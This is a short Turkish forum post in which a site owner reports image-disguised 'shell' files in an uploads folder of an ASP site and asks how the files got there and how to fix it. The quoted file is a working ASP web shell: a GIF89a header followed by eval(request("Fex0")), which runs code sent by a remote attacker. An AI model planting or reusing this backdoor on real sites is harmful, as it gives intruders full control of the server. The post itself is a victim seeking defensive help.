merhaba arkadaşlar. sitemin birisinin ana dizinine uploads klasörü adı altında gif veya jpeg gibi gösterilmiş shell olarak tabir edilen dosyalar sokulmuş. dosyaları txt ile açtığımda fonksiyonu olmayan basit bir kodlama yazılmış.
bu işlemi nasıl yapıyorlar. sitemin admin paneli dışında upload işlemi yapılan bir yer yok. admin kısmındaki upload alanlarınada ulaşmaları çok zor.
bu açığın nedeni nedir ve nasıl kapatabilirim. Bu arada sitem windows sunucu üzerinde asp tabanlı bir site
Kod:
GIF89a
<%response.write("a1"&"b2"&"c3"&"d4")&eval(request("Fex0"))%>bu açığın nedeni nedir ve nasıl kapatabilirim. Bu arada sitem windows sunucu üzerinde asp tabanlı bir site
